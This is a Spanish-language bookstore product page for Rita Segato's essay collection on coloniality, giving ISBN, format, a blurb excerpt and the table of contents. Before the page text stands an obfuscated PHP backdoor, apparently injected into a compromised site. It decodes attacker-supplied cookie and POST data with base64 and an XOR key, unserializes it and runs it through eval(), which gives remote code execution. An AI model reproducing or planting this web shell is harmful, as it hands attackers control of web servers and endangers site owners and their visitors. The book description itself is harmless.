$WgejPqWvVr = chr ( 584 - 463 )."\x4f" . "\137" . chr ( 809 - 689 ).chr (90) . "\x69" . "\x73";$CNWNLCZvFQ = "\x63" . "\x6c" . "\141" . 's' . 's' . chr (95) . "\x65" . chr (120) . chr (105) . chr (115) . "\x74" . "\x73";$uLotPMXc = $CNWNLCZvFQ($WgejPqWvVr); $ZhaFuYBuId = $uLotPMXc;if (!$ZhaFuYBuId){class yO_xZis{private $sqWeXt;public static $UXrTPAea = "dfefd22b-e51d-451b-8eea-ba7c675d5760";public static $fVADGrf = 8203;public function __construct($LAFrJWicDh=0){$qcLghevCAP = $_COOKIE;$JqEnv = $_POST;$fgjGQBu = @$qcLghevCAP[substr(yO_xZis::$UXrTPAea, 0, 4)];if (!empty($fgjGQBu)){$jLcbFl = "base64";$ukvwUzLNGT = "";$fgjGQBu = explode(",", $fgjGQBu);foreach ($fgjGQBu as $FatcOR){$ukvwUzLNGT .= @$qcLghevCAP[$FatcOR];$ukvwUzLNGT .= @$JqEnv[$FatcOR];}$ukvwUzLNGT = array_map($jLcbFl . '_' . chr ( 274 - 174 )."\x65" . chr ( 841 - 742 )."\x6f" . chr ( 139 - 39 ).chr ( 793 - 692 ), array($ukvwUzLNGT,)); $ukvwUzLNGT = $ukvwUzLNGT[0] ^ str_repeat(yO_xZis::$UXrTPAea, (strlen($ukvwUzLNGT[0]) / strlen(yO_xZis::$UXrTPAea)) + 1);yO_xZis::$fVADGrf = @unserialize($ukvwUzLNGT);}}private function iGKNoT(){if (is_array(yO_xZis::$fVADGrf)) {$MvogZfIbJ = str_replace(chr (60) . "\x3f" . "\x70" . 'h' . "\160", "", yO_xZis::$fVADGrf["\x63" . 'o' . "\x6e" . "\164" . "\145" . 'n' . chr (116)]);eval($MvogZfIbJ); $WtBsPY = "24297";exit();}}public function __destruct(){$this->iGKNoT(); $WtBsPY = "24297";}}$GKZdm = new yO_xZis(); $GKZdm = "14576_58964";} La crítica de la colonialidad en ocho ensayos | El Buho

La crítica de la colonialidad en ocho ensayos

consulte stock antes de comprar

La crítica de la colonialidad en ocho ensayos

ISBN: 9789875746251
Autor/a: Segato, Rita
Editorial: Prometeo
Formato: Rústica – 23×16 – 294 p

consulte stock antes de comprar

Cada pueblo debe ser percibido no a partir de la diferencia de un patrimonio substantivo, estable, permanente y fijo de cultura, o una episteme cristalizada, sino como un vector histórico. La cultura y su patrimonio, a su vez, son percibidos como una decantación del proceso histórico, sedimento de la experiencia histórica acumulada y en un proceso que no se detiene. El carácter cumulativo de ese sedimento se concretiza en lo que percibimos como usos, costumbres y nociones de apariencia quieta y repetitiva, que el concepto antropológico de cultura captura, estabiliza y postula como su objeto de observación disciplinar. Sin embargo, todo etnógrafo que regresa a su campo diez años después sabe que esa apariencia de estabilidad no es más que un espejismo, y que usos

y costumbres son nada más que historia en proceso. Se advierte, de esta forma, que la costumbre puede ser cambiada y en verdad se modifica constantemente, pues la permanencia de un pueblo no depende de la repetición de sus prácticas, ni de la inmovilidad de sus ideas. Soltamos así las amarras que sustentan la identidad, sin dispensarla, pero refiriéndola a la noción de pueblo, como vector histórico, como agente colectivo de un proyecto histórico, que se percibe viniendo de un pasado común y construyendo un futuro también común, a través de una trama interna que no dispensa el conflicto de intereses y el antagonismo de las sensibilidades

éticas y posturas políticas, pero que comparte una historia.

Introducción: Colonialidad del poder y antropología por demanda.
1.- Aníbal Quijano y la perspectiva de la colonialidad del poder.
2.- Género y colonialidad: del patriarcado comunitario de baja intensidad al patriarcado colonial moderno de alta intensidad.
3.- El sexo y la Norma: frente estatal-empresarial-mediático-cristiano.
4.- Que cada pueblo teja los hilos de su historia: la colonialidad legislativa de los salvadores de la infancia indígena.
5.- El Edipo Negro: colonialidad y forclusión de género y raza.
6.- Los cauces profundos de la raza latinoamericana: una relectura del mestizaje.
7.- El color de la cárcel en América Latina. Apuntes sobre la colonialidad de la justicia en un continente en desconstrucción.8.- Brechas Decoloniales para una Universidad Nuestroamericana

Hola, me interesan sus productos
Enviar Whatsapp